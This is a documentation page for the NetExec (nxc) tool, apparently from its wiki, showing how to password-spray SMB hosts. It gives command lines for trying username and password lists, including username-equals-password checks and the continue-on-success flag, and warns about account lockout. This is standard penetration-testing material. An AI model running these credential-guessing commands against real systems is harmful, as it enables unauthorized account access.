Password Spraying

Using NetExec for password spraying

Using Username/Password Lists

You can use multiple usernames or passwords by separating the names/passwords with a space.

nxc smb 192.168.1.101 -u user1 user2 user3 -p Summer18
nxc smb 192.168.1.101 -u user1 -p password1 password2 password3

nxc accepts txt files of usernames and passwords. One user/password per line. Watch out for account lockout!

nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18
nxc smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

Usage example:

nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

Checking 'username == password' using wordlist

nxc smb 192.168.1.101 -u user.txt -p user.txt --no-bruteforce --continue-on-success

Checking multiple usernames/passwords using wordlist

nxc smb 192.168.1.101 -u user.txt -p password.txt

The result will be:

  • user1 => password1

  • user1 => password2

  • user2 => password1

  • user2 => password2

Checking one login equal one password using wordlist

nxc smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-success

The result will be:

  • user1 => password1

  • user2 => password2

Last updated

Was this helpful?